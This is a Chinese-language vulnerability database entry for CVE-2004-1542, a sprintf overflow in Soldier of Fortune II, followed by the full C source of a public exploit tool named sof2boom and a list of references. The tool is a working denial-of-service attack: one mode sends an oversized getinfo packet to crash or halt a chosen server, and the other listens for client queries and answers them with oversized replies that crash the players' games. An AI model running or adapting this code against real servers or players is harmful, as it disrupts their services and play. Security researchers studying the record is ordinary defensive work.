Soldier of Fortune II广播处理内存破坏漏洞

漏洞ID	1108297	漏洞类型	边界条件错误
发布时间	2004-11-23	更新时间	2005-10-20
CVE编号	CVE-2004-1542	CNNVD-ID	CNNVD-200412-581
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/653
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-581

|漏洞详情

SoldierofFortuneII是一款流行的FPS游戏程序。SoldierofFortuneII处理超大合法查询或者应答通信时存在问题，远程攻击者可以利用这个漏洞对服务程序或客户端进行拒绝服务攻击。问题是当处理超大的合法查询或应答时sprintf()会发生溢出，服务器会马上中断比赛，而使客户端崩溃，目前调查不能用于执行任意指令。

|漏洞EXP

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    /*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        20100
#define TIMEOUT     3
#define CHR         'a'
#define CLBOOMSIZE  2064
#define INFO        "xffxffxffxff" "getstatus xxxn"
#define SVBOF       "xffxffxffxff" "getinfo "
#define CLBOF       "xffxffxffxff" 
                    "%sResponsen" 
                    "\sv_allowDownload\0" 
                    "\sv_allowAnonymous\0" 
                    "\punkbuster\1" 
                    "\needpass\0" 
                    "\pure\0" 
                    "\gametype\elim" 
                    "\sv_maxclients\32" 
                    "\clients\16" 
                    "\hostname\noname" 
                    "\protocol\2004" 
                    "\mapname\mp_jor1" 
                    "\"



void show_info(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int         sd,
                len,
                psz,
                on = 1,
                type,
                svboom = 0;
    u_short     port = PORT;
    u_char      buff[BUFFSZ + 1];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("n"
        "Soldier of Fortune II <= 1.3 server and client crash/stop "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("nUsage: %s <attack> [port(%d)]n"
            "n"
            "Attack:n"
            " c = broadcast clients crash (caused by a valid reply of %d bytes)n"
            " s = server shutdown/crash, the effect depends by the amount of data you send.n"
            "     The amount of data and the IP or hostname of the server must be specifiedn"
            "     after the 's' in this format: sof2boom s SIZE SERVER [PORT]n"
            "     Usually the values >= 1014 crash the server (only if Windows), while an"
            "     lower values (like 1000) stop the match, try yourselfn"
            "n"
            "Usage examples:n"
            "  sof2boom c                       listens on port %d for clientsn"
            "  sof2boom c 1234                  listens on port 1234n"
            "  sof2boom s 1000 192.168.0.1      tests the server 192.168.0.1 on port %dn"
            "  sof2boom s 1200 sof2server 1234  tests the server sof2server on port 1234n"
            "n", argv[0], port, CLBOOMSIZE, port, port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif    

    type = argv[1][0];

    if(type == 's') {
        if(argc < 4) {
            fputs("n"
                "Error: you must specify the number of bytes to send and the server hostname.n"
                "       Example: sof2boom s 1000 localhostn"
                "n", stdout);
            exit(1);
        }
        svboom = atoi(argv[2]);
        if(svboom > (BUFFSZ - sizeof(SVBOF))) {
            printf("nError: use a value minor than %dnn", BUFFSZ - sizeof(SVBOF));
            exit(1);
        }

        peer.sin_addr.s_addr = resolv(argv[3]);
        if(argc > 4) port = atoi(argv[4]);
        printf("- target   %s:%hun",
            inet_ntoa(peer.sin_addr),
            port);

    } else if(type == 'c') {
        peer.sin_addr.s_addr = INADDR_ANY;
        psz                  = sizeof(peer);
        if(argc > 2) port = atoi(argv[2]);
        printf("- listen on port %dn", port);

    } else {
        fputs("n"
            "Error: Wrong type of chosen attack.n"
            "       You can choose between 2 types of attacks, passive versus clients withn"
            "       'c' or versus servers with 's'n"
            "n", stdout);
        exit(1);
    }

    peer.sin_port   = htons(port);
    peer.sin_family = AF_INET;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(type == 's') {
        fputs("- request informationssn", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(timeout(sd) < 0) {
            fputs("n"
                "Error: socket timeout, probably the server is not online or the port is wrongn"
                "n", stdout);
            exit(1);
        }
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        buff[len] = 0x00;
        show_info(buff);

        memcpy(buff, SVBOF, sizeof(SVBOF) - 1);
        memset(buff + sizeof(SVBOF) - 1, CHR, svboom);
        len = sizeof(SVBOF) - 1 + svboom;

        printf("- send BOOM packet (%d bytes)n", len);

        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("- no reply received, it is probably crashedn", stdout);
        } else {
            fputs("- received a reply, probably it is not vulnerablen", stdout);
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
        }

        fputs("- check servern", stdout);
        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("nServer IS vulnerable!!!nn", stdout);
        } else {
            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
            if(len < 0) std_err();
            buff[len] = 0x00;
            printf("n"
                "Server doesn't seem to be vulnerable, the following is the reply received:n"
                "n"
                "%sn"
                "n", buff);
        }

    } else {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        fputs("  Clients:n", stdout);
        for(;;) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("%16s:%hu -> %sn",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port),
                buff);

            if(!memcmp(buff + 4, "getinfo", 7)) {
                len = sprintf(buff, CLBOF, "info");
            } else {
                len = sprintf(buff, CLBOF, "status");
            }
            memset(buff + len, CHR, CLBOOMSIZE - len);
            if(sendto(sd, buff, CLBOOMSIZE, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
        }
    }

    close(sd);
    return(0);
}



void show_info(u_char *data) {
    int     nt = 1;
    u_char  *p;

    while((p = strchr(data, '\'))) {
        *p = 0x00;
        if(!nt) {
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%sn", data);
            nt = 0;
        }
        data = p + 1;
    }
    printf("%sn", data);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif




// milw0rm.com [2004-11-23]

|参考资料

来源:XF
名称:soldier-fortune-bo(18211)
链接:http://xforce.iss.net/xforce/xfdb/18211
来源:BID
名称:11735
链接:http://www.securityfocus.com/bid/11735
来源:SECUNIA
名称:13289
链接:http://secunia.com/advisories/13289
来源:BUGTRAQ
名称:20041123BroadcastmemorycorruptioninSoldierofFortuneII1.03
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110124208811327&w;=2
来源：NSFOCUS
名称：7152
链接：http://www.nsfocus.net/vulndb/7152

相关推荐: Unix (BRU)缓冲区溢出漏洞

Unix (BRU)缓冲区溢出漏洞漏洞ID 1202569 漏洞类型缓冲区溢出发布时间 2003-08-18 更新时间 2003-08-18 CVE编号 CVE-2003-0583 CNNVD-ID CNNVD-200308-080 漏洞平台 N/A C…

文章版权归作者所有，未经允许请勿转载。

THE END